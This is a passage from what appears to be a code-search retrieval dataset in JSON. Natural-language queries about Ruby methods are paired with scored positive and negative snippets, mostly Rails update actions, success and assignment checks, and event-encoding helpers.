"text": "def update\n @experience_level = ExperienceLevel.find(params[:id])\n\n respond_to do |format|\n if @experience_level.update_attributes(user_params)\n format.html { redirect_to @experience_level, notice: 'Experience level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experience_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c999d2fcc19c8831d3beb5c4e6f6970",
"score": "0.5698168",
"text": "def update\n @stage_score = StageScore.find(params[:id])\n\n respond_to do |format|\n if @stage_score.update_attributes(params[:stage_score])\n format.html { redirect_to @stage_score, notice: 'Stage score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_score.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04d5c5efb0f3c33a4e1c31e18c24da84",
"score": "0.5696135",
"text": "def update\n @glevel = Glevel.find(params[:id])\n\n respond_to do |format|\n if @glevel.update_attributes(params[:glevel])\n format.html { redirect_to @glevel, notice: 'Glevel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @glevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c0df9c9a2b8ee6fc8982f7b16266134",
"score": "0.5689691",
"text": "def update\n @process_level.update(process_level_params)\n head :no_content\n end",
"title": ""
},
{
"docid": "d2f9cbf66cc9be9c4cbc78f6321213b4",
"score": "0.56873196",
"text": "def update\n @vocab = Vocab.find(params[:id])\n @level = @vocab.level\n\n respond_to do |format|\n if @vocab.update_attributes(params[:vocab])\n format.html { redirect_to(['admin', @level], :notice => 'Vocab was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca145f9b49f036f1d84fa2879ddefd5d",
"score": "0.5681464",
"text": "def update\n @stage_habitat_descriptor = StageHabitatDescriptor.find(params[:id])\n\n respond_to do |format|\n if @stage_habitat_descriptor.update_attributes(params[:stage_habitat_descriptor])\n format.html { redirect_to @stage_habitat_descriptor, notice: 'Stage habitat descriptor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_habitat_descriptor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "807b9d45c71ab9bfbbac9e0441ffe2c5",
"score": "0.56772894",
"text": "def update\n authorize @game_level\n respond_to do |format|\n if @game_level.update(game_level_params)\n format.html { redirect_to game_game_levels_path(@game), notice: 'Game level was successfully updated.' }\n format.json { render :show, status: :ok, location: @game_level }\n else\n format.html { render :edit }\n format.json { render json: @game_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e164a884595adb52851f3b3d5ed9b2da",
"score": "0.5670971",
"text": "def update\n respond_to do |format|\n if @location_level.update(location_level_params)\n format.html { redirect_to @location_level, notice: 'Location level was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5077868665207efc03d16474f3a252b",
"score": "0.5663101",
"text": "def update\n respond_to do |format|\n if @energy_level.update(energy_level_params)\n format.html { redirect_to @energy_level, notice: 'Energy level was successfully updated.' }\n format.json { render :show, status: :ok, location: @energy_level }\n else\n format.html { render :edit }\n format.json { render json: @energy_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "782e4e2dce0f40aae7c904d34d26cdf5",
"score": "0.56362474",
"text": "def update\n @robot = LevelDataItem.find(params[:id])\n\n respond_to do |format|\n if @robot.update_attributes(params[:robot])\n format.json { head :no_content }\n else\n format.json { render json: @robot.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12a27af8814d42a144c0b2b7b923d676",
"score": "0.5636186",
"text": "def update\n respond_to do |format|\n if @par_level.update(par_level_params)\n format.html { redirect_to \"/par_levels?par_sheet=\" + @par_level.par_sheets_id.to_s, notice: 'Par level was successfully updated.' }\n format.json { render :show, status: :ok, location: @par_level }\n else\n format.html { render :edit }\n format.json { render json: @par_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f237444cfadaffd1b6ad2758204dddb",
"score": "0.56349444",
"text": "def update\n respond_to do |format|\n if @level_play.update(level_play_params)\n format.json { render json: @level_play, root: false, status: :ok, location: @level_play }\n else\n format.json { render json: @level_play.errors, root: false, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "651020843db50e843ed1e74dce058597",
"score": "0.5629313",
"text": "def update\n respond_to do |format|\n if @membership_level.update(membership_level_params)\n format.html { redirect_to @membership_level, notice: 'Membership level was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_level }\n else\n format.html { render :edit }\n format.json { render json: @membership_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
8d5ad7bc82782fb648d4b27bdf628b26
|
Returns true only if the result is a success and a user was assigned.
|
[
{
"docid": "e354feff7a11860838dc2667f76a1c59",
"score": "0.7678611",
"text": "def successful?\n @result == :success && !user.nil?\n end",
"title": ""
}
] |
[
{
"docid": "a5eefa51e822ead79fb23c6477285853",
"score": "0.7075488",
"text": "def is_assigned?(user, assigned_id)\n return false if assigned_id == nil\n return false if user.id != assigned_id\n return true\n end",
"title": ""
},
{
"docid": "01eb5f89134f56c1b62bb09a07d4d568",
"score": "0.7058579",
"text": "def can_assign? user\n \n # Fetch the type of the user being added.\n if user.role_types[0]\n user_role = user.role_types[0].name\n else\n user_role = 'Any Type'\n end\n \n # Does this user match any restrictions?\n self.restricted_role_types.each do |role_type|\n if user_role == role_type.name\n @error = \"You are restricted from assigning users of the type '\" + user_role + \"' to this day.\"\n return false\n end\n end\n \n # Does this user fit into a category of required\n # users that is not yet filled?\n self.required_roles.each do |required_role|\n role_type = required_role.role_type\n if user_role == role_type.name \n if required_role.count > self.sum_users(user_role)\n self.assigned_as = user_role\n return true\n end\n end\n end\n \n # Perhaps we have slots available for any type of user on this day?\n puts 'Users required ' + required_user_count.to_s\n if self.required_user_count > self.sum_any_users\n self.assigned_as = 'any'\n return true\n end\n \n @error = \"You cannot currently add a user of type '\" + user_role + \"' to this day.\"\n return false;\n end",
"title": ""
},
{
"docid": "dd4707d4a933c3dd67cc5e3c1f8543fd",
"score": "0.69862926",
"text": "def assigned?\n user_id.positive?\n end",
"title": ""
},
{
"docid": "d62d200f813d8c4c6b3f67930ac22588",
"score": "0.69460016",
"text": "def assigned_by?(user)\n self.user == user && assignee && assignee != user\n end",
"title": ""
},
{
"docid": "16b2046efca1de032ee46b9d4615097a",
"score": "0.66882217",
"text": "def assign_users?\n @user.can_org_admin? &&\n @record.present? &&\n @record.org == @user.org\n end",
"title": ""
},
{
"docid": "e6033d178f6dfb1f05125fd29725db48",
"score": "0.6563892",
"text": "def successful_authorisation?\n authorisation? && success?\n end",
"title": ""
},
{
"docid": "85e845c72e6141dac041feafca7796f8",
"score": "0.6517412",
"text": "def assign_users?\n @user.can_org_admin? &&\n @department.present? &&\n @department.org == @user.org\n end",
"title": ""
},
{
"docid": "1eb74f213e5ba9d23e9354937def3878",
"score": "0.6513017",
"text": "def status_ok?\n current_user.status if current_user\n end",
"title": ""
},
{
"docid": "40992db5db148fbb03feef2f8a98a41d",
"score": "0.6465892",
"text": "def completed_successfully?\n @start_time and @success and (@status == \"passed\")\n end",
"title": ""
},
{
"docid": "07be892b091b120cbab41657e81696a2",
"score": "0.64614713",
"text": "def can_be_assigned?(_user)\n assignment.blank?\n end",
"title": ""
},
{
"docid": "47add086f2006143795855af913ca04a",
"score": "0.6442669",
"text": "def check_assigned_status\n if self.book_copies.where(is_assigned: true).count > 0\n return false\n end\n end",
"title": ""
},
{
"docid": "222e25e173992849f6ce7431d6dc90b9",
"score": "0.64377666",
"text": "def successful?\n status == :successful\n end",
"title": ""
},
{
"docid": "e29396f1e3e698e14c77e630a29343b3",
"score": "0.64312047",
"text": "def success?\n @status && @status.success?\n end",
"title": ""
},
{
"docid": "e29396f1e3e698e14c77e630a29343b3",
"score": "0.64312047",
"text": "def success?\n @status && @status.success?\n end",
"title": ""
},
{
"docid": "05686c857e5bcfcd8dee8c74a4183781",
"score": "0.6415054",
"text": "def self_assigned?(user)\n return false unless parent.is_a?(JudgeTask)\n\n assigned_to == user && assigned_by == user\n end",
"title": ""
},
{
"docid": "5982e7d049c560b7bbb582cd3737bd24",
"score": "0.6412387",
"text": "def can_be_assignee?(username)\n username = user_login(username)\n github_client.check_assignee(context.repo, username)\n end",
"title": ""
},
{
"docid": "9f6c539d4509382b7b7eee45daa51f0c",
"score": "0.64104974",
"text": "def performed?\n create_profile\n response.success?\n end",
"title": ""
},
{
"docid": "8e1b14601c02796fbaf941625e669d6e",
"score": "0.6406617",
"text": "def succeeded?\n authorized? || paid?\n end",
"title": ""
},
{
"docid": "2fe2655826975e63ffdb2b820a26d60e",
"score": "0.6403232",
"text": "def user_attempted?(u_id)\n self.attempts.where(user_id: u_id).any?\n end",
"title": ""
},
{
"docid": "dc81e29ab121c0669f001182816f9679",
"score": "0.6366921",
"text": "def successful?\n if @successful.nil?\n true\n else\n @successful\n end\n end",
"title": ""
},
{
"docid": "bb32e56f1a66dcad2f67b3c52cab77c3",
"score": "0.636126",
"text": "def successful?\n status == :successful\n end",
"title": ""
},
{
"docid": "76b6314cf24ae856c151c4c85272f16f",
"score": "0.6357472",
"text": "def success?\n @succeeded == :success\n end",
"title": ""
},
{
"docid": "5765d93a46d862febd779255b47de655",
"score": "0.63210464",
"text": "def successful?\n @successful\n end",
"title": ""
},
{
"docid": "5765d93a46d862febd779255b47de655",
"score": "0.63210464",
"text": "def successful?\n @successful\n end",
"title": ""
},
{
"docid": "0f4d7c1e3de4f264ca8afaeceaeed57b",
"score": "0.6317276",
"text": "def success?\n return false unless @status\n\n @status.positive?\n end",
"title": ""
},
{
"docid": "b29796757c5c6ab9afdb2e1c4674fbae",
"score": "0.63082427",
"text": "def success?\n @result\n end",
"title": ""
},
{
"docid": "8d1494f8855a14191f5cca41717c4559",
"score": "0.62904584",
"text": "def is_success?\n return success\n end",
"title": ""
},
{
"docid": "35dd353c57edb5e5453c909a81386dc3",
"score": "0.6286362",
"text": "def my?(user)\n (self.user == user && assignee.nil?) || assignee == user\n end",
"title": ""
},
{
"docid": "900b133adb8f7c1591fdc78851dffe53",
"score": "0.6284766",
"text": "def successful?\n @success\n end",
"title": ""
},
{
"docid": "900b133adb8f7c1591fdc78851dffe53",
"score": "0.6284766",
"text": "def successful?\n @success\n end",
"title": ""
},
{
"docid": "4f4f223a9d41ac9bc1069e07945bc5a5",
"score": "0.62745804",
"text": "def can_be_performed_by?(user)\n user == @user\n end",
"title": ""
},
{
"docid": "0efe250536545c722b146bfd1d3aa458",
"score": "0.62702847",
"text": "def success?\n @data['response'] == APPROVED\n end",
"title": ""
},
{
"docid": "3897c75530a5c3b27bca3d4eb130a82b",
"score": "0.6270154",
"text": "def success?\n @success_p\n end",
"title": ""
},
{
"docid": "5806b0b715b0b0dcaa4942a189570fee",
"score": "0.6256539",
"text": "def success?(label)\n ensure_response(label)\n @successes.has_key?(label)\n end",
"title": ""
},
{
"docid": "0b612dde71efc50c6b47f00620441f95",
"score": "0.6250095",
"text": "def assigned?\n # Returns true if the assigned_id is not nil, returns false if otherwise\n assigned_id != nil\n end",
"title": ""
},
{
"docid": "26c07edbf2783b6294227d6234637793",
"score": "0.62477165",
"text": "def assigned?\n # If the #assigned? method is being called for but the job hasn't been completed, reload\n # to check to see if it has been assigned\n self.reload if !completed? && employee_pid.nil?\n\n employee_pid && employee_host\n end",
"title": ""
},
{
"docid": "37fa79260a19b69499d35f0f66adb76b",
"score": "0.62471324",
"text": "def success?\n to_hash[:smarter_u][:result] == 'Success'\n rescue\n false\n end",
"title": ""
},
{
"docid": "45f0f273b3601c0230c151ac23a6947c",
"score": "0.6233746",
"text": "def assignable?\n %w(scheduled waiting_assignment ).include?(self.status)\n end",
"title": ""
},
{
"docid": "87acd2c6d279fc3dc7181a4c6e92f7c2",
"score": "0.62289333",
"text": "def success?\n !@status.nil? && @status.success?\n end",
"title": ""
},
{
"docid": "ae6a9c77c95592c57df045ce1c4647e9",
"score": "0.6215428",
"text": "def assigned?\n self.admin_user != nil\n end",
"title": ""
},
{
"docid": "f1b61406e1bdf827d9020d30a87c673f",
"score": "0.6212342",
"text": "def approved?\n users_approval.include?(user.username)\n end",
"title": ""
},
{
"docid": "bbe7e22fd97d9197c34286a69d8821d0",
"score": "0.62116915",
"text": "def success?\n return true if @status == :success\n\n return false\n end",
"title": ""
},
{
"docid": "333909fee9e139c2b323dee1862007c3",
"score": "0.62040436",
"text": "def awaiting_confirmation?\n true if self.assignments.length != 0 && self.assignments.last.status == \"waiting\"\n end",
"title": ""
},
{
"docid": "a67aec0b9752a292cebb66ca16b27821",
"score": "0.62022597",
"text": "def success?\n self.class.succeeds.include?(status)\n end",
"title": ""
},
{
"docid": "c09112758ffb958ef1f4d0c2f6fc40ec",
"score": "0.61963105",
"text": "def successful?\n returned_parameters['status'] == 'success'\n end",
"title": ""
},
{
"docid": "3ddc6a1cbf6a476172fdd69a85d6b278",
"score": "0.61954886",
"text": "def success?\n return true if status == :success\n\n return false\n end",
"title": ""
},
{
"docid": "9ed5f7e3462e84534b16bc04a2f7076f",
"score": "0.6190993",
"text": "def success?\n id != AUTH_FAILURE_RESPONSE\n end",
"title": ""
},
{
"docid": "0cb83bf213902257e01416bacfc44f54",
"score": "0.61905974",
"text": "def success?\n @success ? true : false\n end",
"title": ""
},
{
"docid": "0cb83bf213902257e01416bacfc44f54",
"score": "0.61905974",
"text": "def success?\n @success ? true : false\n end",
"title": ""
},
{
"docid": "6ac5fb006749de55efa57c16d13dc186",
"score": "0.618831",
"text": "def successful?\n status == 'Success'\n end",
"title": ""
},
{
"docid": "a1bedd41aef3c21ba7cc874e3e1365a2",
"score": "0.6187336",
"text": "def success?\n success\n end",
"title": ""
},
{
"docid": "9e5d61a6f2ecf0da3e3d8a2260695574",
"score": "0.61780936",
"text": "def successful?\n false\n end",
"title": ""
},
{
"docid": "8e43ce1e2bf299119fb07e2f3658c201",
"score": "0.6173422",
"text": "def successful?\n !!@success\n end",
"title": ""
},
{
"docid": "a67d0b0cb6f4c748bb157cc1d33b8186",
"score": "0.61726856",
"text": "def succeeded?\n completed_at && (status == 'success')\n end",
"title": ""
},
{
"docid": "3c0b0eccd7ffcb726d831451f4d08de7",
"score": "0.61726713",
"text": "def success?\n !present?\n end",
"title": ""
},
{
"docid": "8fbe2146e008b5442e0823231b11e73a",
"score": "0.6172452",
"text": "def have_assignments(user_id)\n \n self.oi_instructions.each do |instruction|\n if OiAssignment.find_by_oi_instruction_id_and_user_id(instruction.id, user_id) != nil\n return true\n end\n end\n \n return false\n \n end",
"title": ""
},
{
"docid": "06d61e77747d58f71db7195bc09e2ab0",
"score": "0.61709726",
"text": "def success?\n result == 'SUCCESS'\n end",
"title": ""
},
{
"docid": "06d61e77747d58f71db7195bc09e2ab0",
"score": "0.61709726",
"text": "def success?\n result == 'SUCCESS'\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "c642fd5a865b4b30d50afef3c32c55be",
"score": "0.6158979",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "70d6c411ab14c910f00d2c69bca2e6dd",
"score": "0.61521107",
"text": "def is_assigned\n return @is_assigned\n end",
"title": ""
},
{
"docid": "45bda48e23c2f4f5d4b556dc153f47ca",
"score": "0.6146671",
"text": "def successful?\n return @status == :success\n end",
"title": ""
},
{
"docid": "0e1180abd9ee43d01f450289f75fcd26",
"score": "0.61456347",
"text": "def successful?\n status == 'Success'\n end",
"title": ""
},
{
"docid": "0e1180abd9ee43d01f450289f75fcd26",
"score": "0.61456347",
"text": "def successful?\n status == 'Success'\n end",
"title": ""
},
{
"docid": "e221fc21a7f169de8403a2a61530681d",
"score": "0.6143834",
"text": "def success?\n !error? && @status.success?\n end",
"title": ""
},
{
"docid": "09202bf693e7dee0f1fe3110d76312d0",
"score": "0.6141348",
"text": "def success?\r\n return true if self.status==:success\r\n return false\r\n end",
"title": ""
},
{
"docid": "5df6fdd49fab757f615282f49d452c0c",
"score": "0.6140207",
"text": "def success?\n true\n end",
"title": ""
},
{
"docid": "5df6fdd49fab757f615282f49d452c0c",
"score": "0.6140207",
"text": "def success?\n true\n end",
"title": ""
},
{
"docid": "876d87c01fbc358870e38dad9546e609",
"score": "0.6139365",
"text": "def issue_assigned?(repo, assignee, options = {})\n boolean_from_response :get, \"#{Repository.path repo}/assignees/#{assignee}\", options\n end",
"title": ""
},
{
"docid": "742bccc085a2364c81bcf6157262da63",
"score": "0.61361223",
"text": "def successful?\n state == 'successful' || state == 'finished'\n end",
"title": ""
},
{
"docid": "742bccc085a2364c81bcf6157262da63",
"score": "0.61361223",
"text": "def successful?\n state == 'successful' || state == 'finished'\n end",
"title": ""
},
{
"docid": "774dfed65846ca7ae58b694a96462b4c",
"score": "0.6135934",
"text": "def is_assigned_to?(project)\n Assignment.find_by_team_id_and_project_id(self.id, project.id)\n end",
"title": ""
},
{
"docid": "7c68bf33748488d24fec46f706229142",
"score": "0.61300415",
"text": "def successful?\n returned_parameters[\"status\"].nil? || returned_parameters[\"status\"] == \"success\"\n end",
"title": ""
},
{
"docid": "7c68bf33748488d24fec46f706229142",
"score": "0.61300415",
"text": "def successful?\n returned_parameters[\"status\"].nil? || returned_parameters[\"status\"] == \"success\"\n end",
"title": ""
},
{
"docid": "677c97a752eb8b13eda6abb815ee81ea",
"score": "0.612965",
"text": "def register_new_user\n 'successful_register' == @xml['status'].to_s ? true : false\n end",
"title": ""
},
{
"docid": "d4ba66918722448423f71f21b056ba6a",
"score": "0.61244935",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "779a12621297fedda37c76c821236aa9",
"score": "0.6123411",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "1c47fafb4f0132af9f7ecc1ba1046cd5",
"score": "0.6123293",
"text": "def can_be_assigned?\n\t\t![STATUS[\"Assigned\"], STATUS[\"Repair\"]].include?(status)\n\tend",
"title": ""
},
{
"docid": "a5359cf777a6e8c1fe2ff26a77b61e32",
"score": "0.61213404",
"text": "def success?\n self.result.success?\n end",
"title": ""
},
{
"docid": "a4386f6de0313271d8609960fedf780d",
"score": "0.6117798",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "a4386f6de0313271d8609960fedf780d",
"score": "0.6117798",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "a4386f6de0313271d8609960fedf780d",
"score": "0.6117798",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "14ed06a85e45206518a9be235e18a7f4",
"score": "0.6116061",
"text": "def success_from(response)\n %w[\n SUCCEEDED\n AUTHORIZED\n REFUNDED\n PARTIALLY_REFUNDED\n CANCELED\n ].include? response['status']\n end",
"title": ""
},
{
"docid": "1909c7a9e2c11548371219ef6c05e811",
"score": "0.61148494",
"text": "def successful?(response)\n response[:ok] == true\n end",
"title": ""
},
{
"docid": "b0897ae08654c8713dd1f244ff3792dd",
"score": "0.61014223",
"text": "def successful?\n success\n end",
"title": ""
},
{
"docid": "e3719c1c70ec73290352fd4ca67c72df",
"score": "0.609608",
"text": "def success?\n return true if @status == :success\n\n false\n end",
"title": ""
},
{
"docid": "d779f663ce3fcc0d03a4eb6d2f0c8b94",
"score": "0.6079446",
"text": "def success?\n join\n status.success?\n end",
"title": ""
},
{
"docid": "856508c718aa90ea2805a937c02bdb39",
"score": "0.6078974",
"text": "def success?\n self[:status] == 'success'\n end",
"title": ""
},
{
"docid": "ac22c8a718b9b418c0bedbef7fcf35fc",
"score": "0.6075066",
"text": "def success?\n return true if status == :success\n\n false\n end",
"title": ""
},
{
"docid": "3b238cfc856c39815bca946968b1b8e2",
"score": "0.6067834",
"text": "def success?\n @status == 0\n end",
"title": ""
},
{
"docid": "3b238cfc856c39815bca946968b1b8e2",
"score": "0.6067834",
"text": "def success?\n @status == 0\n end",
"title": ""
},
{
"docid": "1e987d743ce9161167b9402b5da82cb3",
"score": "0.6059845",
"text": "def unassigned?\n\t\tself.id == User.unassigned.id\n\tend",
"title": ""
},
{
"docid": "c910cdc9f8154fa2727ccbddb3e2321c",
"score": "0.60588974",
"text": "def authentication_successful?\n !!@current_user\n end",
"title": ""
},
{
"docid": "da3e0a70ef076812f8d1af0c1c2d4ce3",
"score": "0.60378426",
"text": "def success?\n @success\n end",
"title": ""
},
{
"docid": "0b8276c6f610fd4d331d363de5ead6e1",
"score": "0.60358334",
"text": "def success?\n @status\n end",
"title": ""
}
] |
fa02855ad68c2ef23174239fd4627919
|
Encode a single event to a hash data structure with keys and types conforming to the JSON envelope.
|
[
{
"docid": "2cfd87c51cbc377141d7d08b31572c42",
"score": "0.7600815",
"text": "def encode_hash_structure event, data_encoder: nil\n case event\n when Event::V0\n encode_hash_structure_v0 event\n when Event::V1\n encode_hash_structure_v1 event, data_encoder\n else\n raise SpecVersionError, \"Unrecognized event type: #{event.class}\"\n end\n end",
"title": ""
}
] |
[
{
"docid": "2c5166816bcb6508dc369b1944492343",
"score": "0.742676",
"text": "def encode event, sort: false, **_other_kwargs\n structure = encode_hash_structure event\n structure = sort_keys structure if sort\n ::JSON.dump structure\n end",
"title": ""
},
{
"docid": "fe52df31bfb4ac6331730c92ee8f6bd2",
"score": "0.70600265",
"text": "def encode_hash_structure event\n case event\n when Event::V0\n encode_hash_structure_v0 event\n when Event::V1\n encode_hash_structure_v1 event\n else\n raise SpecVersionError, \"Unrecognized specversion: #{event.spec_version}\"\n end\n end",
"title": ""
},
{
"docid": "58309d969d185d84696c533719a1649b",
"score": "0.696459",
"text": "def to_h\n {\n event_id: event_id,\n metadata: metadata.to_h,\n data: data,\n type: event_type\n }\n end",
"title": ""
},
{
"docid": "63e6a23c70d1c4b5297eb83ab0a83c48",
"score": "0.6583512",
"text": "def to_brief_json\n ev = self\n\n {\n :id => ev.id,\n :event_type => self.event_type.name,\n :name => ev.name,\n :description => ev.description,\n :chapter_id => ev.chapter_id,\n :chapter => ev.chapter.name,\n :registration_count => ev.event_registrations.count,\n :start_time => ev.start_time,\n :end_time => ev.end_time\n }\n end",
"title": ""
},
{
"docid": "fc049f8d0b02e969e66298b49c522a73",
"score": "0.65386087",
"text": "def as_json(*_args)\n payload[:event_name] = event_name\n payload\n end",
"title": ""
},
{
"docid": "449f0ab852455f142a8e4ad46b32f285",
"score": "0.6437402",
"text": "def to_hash\n {\n :time => @time,\n :event => @event\n }\n end",
"title": ""
},
{
"docid": "4b202dc352371861c254f31dd8457398",
"score": "0.6369337",
"text": "def hash\n [\n self.class,\n event_id,\n data\n ].hash ^ BIG_VALUE\n end",
"title": ""
},
{
"docid": "4b202dc352371861c254f31dd8457398",
"score": "0.6369337",
"text": "def hash\n [\n self.class,\n event_id,\n data\n ].hash ^ BIG_VALUE\n end",
"title": ""
},
{
"docid": "a90d47023ef9c8b1c73336282414be8d",
"score": "0.6347879",
"text": "def event_from_string(event_string)\n event = JSON.parse(event_string)\n HashWithIndifferentAccess.new(event) # Allow use of symbols or strings as keys\n end",
"title": ""
},
{
"docid": "cf9b2834583852ad3219ab8aadb530b7",
"score": "0.63424",
"text": "def event_to_hash(event)\n {\n when_raw: {\n start: event.dtstart,\n end: event.dtend,\n },\n when_human: {\n start_time: event.dtstart.strftime('%H:%M'),\n end_time: event.dtend.strftime('%H:%M'),\n short_start_date: event.dtstart.strftime('%d/%m/%Y'),\n short_end_date: event.dtend.strftime('%d/%m/%Y'),\n long_start_date: event.dtstart.strftime('%A %-d %B %Y'),\n long_end_date: event.dtend.strftime('%A %-d %B %Y')\n },\n summary: event.summary,\n description: event.description,\n location: event.location,\n meeting_link: event.meeting_link,\n }\nend",
"title": ""
},
{
"docid": "41d6c52de7dd43c1b4ae5097c6dca42d",
"score": "0.6333635",
"text": "def event_to_hash(event)\n {\n when_raw: {\n start: event.dtstart,\n end: event.dtend,\n },\n when_human: {\n start_time: event.dtstart.strftime('%H:%M'),\n end_time: event.dtend.strftime('%H:%M'),\n short_start_date: event.dtstart.strftime('%d/%m/%Y'),\n short_end_date: event.dtend.strftime('%d/%m/%Y'),\n long_start_date: event.dtstart.strftime('%A %-d %B %Y'),\n long_end_date: event.dtend.strftime('%A %-d %B %Y')\n },\n summary: event.summary,\n description: event.description,\n location: event.location\n }\nend",
"title": ""
},
{
"docid": "2606189c75b159a93c1d6da898700a50",
"score": "0.6269416",
"text": "def to_json(options={})\n {\n :start_date => start_date,\n :end_date => end_date,\n :type => type,\n :attachment_type => attachment_type,\n :attributes => event\n }.to_json(options)\n end",
"title": ""
},
{
"docid": "26219406068f77fbd935719b7f0028cb",
"score": "0.62545305",
"text": "def encode_event event, structured_format: false, **format_args\n if event.is_a? Event::Opaque\n [{ \"Content-Type\" => event.content_type.to_s }, event.content]\n elsif !structured_format\n if event.is_a? ::Array\n raise ::ArgumentError, \"Encoding a batch requires structured_format\"\n end\n encode_binary_content event, legacy_data_encode: false, **format_args\n else\n structured_format = default_encoder_name if structured_format == true\n raise ::ArgumentError, \"Format name not specified, and no default is set\" unless structured_format\n case event\n when ::Array\n encode_batched_content event, structured_format, **format_args\n when Event\n encode_structured_content event, structured_format, **format_args\n else\n raise ::ArgumentError, \"Unknown event type: #{event.class}\"\n end\n end\n end",
"title": ""
},
{
"docid": "5c1560527a8b8b3e73f6108378e9a1bd",
"score": "0.62544173",
"text": "def objectify_event(event_hash, venue) ; Event.new(event_hash.merge(:venue => venue)) ; end",
"title": ""
},
{
"docid": "02510d2e7736ca8c4b2a042610286220",
"score": "0.6240021",
"text": "def encode_binary_content event\n headers = {}\n body = nil\n event.to_h.each do |key, value|\n case key\n when \"data\"\n body = value\n when \"datacontenttype\"\n headers[\"Content-Type\"] = value\n else\n headers[\"CE-#{key}\"] = percent_encode value\n end\n end\n case body\n when ::String\n headers[\"Content-Type\"] ||= string_content_type body\n when nil\n headers.delete \"Content-Type\"\n else\n body = ::JSON.dump body\n headers[\"Content-Type\"] ||= \"application/json; charset=#{body.encoding.name.downcase}\"\n end\n [headers, body]\n end",
"title": ""
},
{
"docid": "014d091646b3e8435511fd023a47bcb4",
"score": "0.62381697",
"text": "def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(map_event(event))\n elsif @format == \"message\"\n event.sprintf(@message)\n else\n encode(map_event(event))\n end\n end",
"title": ""
},
{
"docid": "996c969d1ae83129c7a1bf324957e01e",
"score": "0.62224436",
"text": "def to_json\n hash = {}\n self.instance_variables.each do |var|\n hash[var.to_s.sub(/^@/, '')] = self.instance_variable_get var\n end\n '{\"event\":' + hash.to_json + '}'\n end",
"title": ""
},
{
"docid": "996c969d1ae83129c7a1bf324957e01e",
"score": "0.62224436",
"text": "def to_json\n hash = {}\n self.instance_variables.each do |var|\n hash[var.to_s.sub(/^@/, '')] = self.instance_variable_get var\n end\n '{\"event\":' + hash.to_json + '}'\n end",
"title": ""
},
{
"docid": "9b9c875f6be66d43d1950b3ebd6cb671",
"score": "0.6139776",
"text": "def to_json\n @events.each {|r| r[:timestamp] = Time.parse(r[:date]).to_i * 1000 }\n @events.to_json\n end",
"title": ""
},
{
"docid": "f0d831917726ff3827d3e8b6161e9543",
"score": "0.61340564",
"text": "def create_event(event)\n event.event_type.constantize.from_json(event.data).tap do |domain_event|\n domain_event.version = event.version.to_i\n domain_event.aggregate_id = event.aggregate_id.to_s\n end\n end",
"title": ""
},
{
"docid": "b4c371d439dc47b58fa00ca9e539a2f5",
"score": "0.6115672",
"text": "def encode(event)\n encoded = multi_encode([event])\n encoded.each {|event,data| @on_event.call(event,data) }\n end",
"title": ""
},
{
"docid": "3407b847884778245d05c594a0a9809f",
"score": "0.6113768",
"text": "def as_json_for_event_api\n { user: { uid: member.uid, email: member.email },\n currency: currency_id,\n name: name,\n description: description,\n data: data,\n pin: pin,\n state: state,\n sent_at: sent_at.iso8601,\n created_at: created_at.iso8601,\n updated_at: updated_at.iso8601 }\n end",
"title": ""
},
{
"docid": "9931b6bbd23afa717ca65045a6a55a97",
"score": "0.61136323",
"text": "def hash\n [tenant_id, compartment_id, compartment_name, event_id, event_name, event_source, event_type, event_time, principal_id, credential_id, request_action, request_id, request_agent, request_headers, request_origin, request_parameters, request_resource, response_headers, response_status, response_time, response_payload, user_name].hash\n end",
"title": ""
},
{
"docid": "4af39105f00a6ae8a7a6facec9a721cb",
"score": "0.6105281",
"text": "def to_event\n Object.const_get('Orchestrate::Rails::Event').new key_value_pairs\n end",
"title": ""
},
{
"docid": "b8455aa579e13dd806997fe1bd508d16",
"score": "0.6079764",
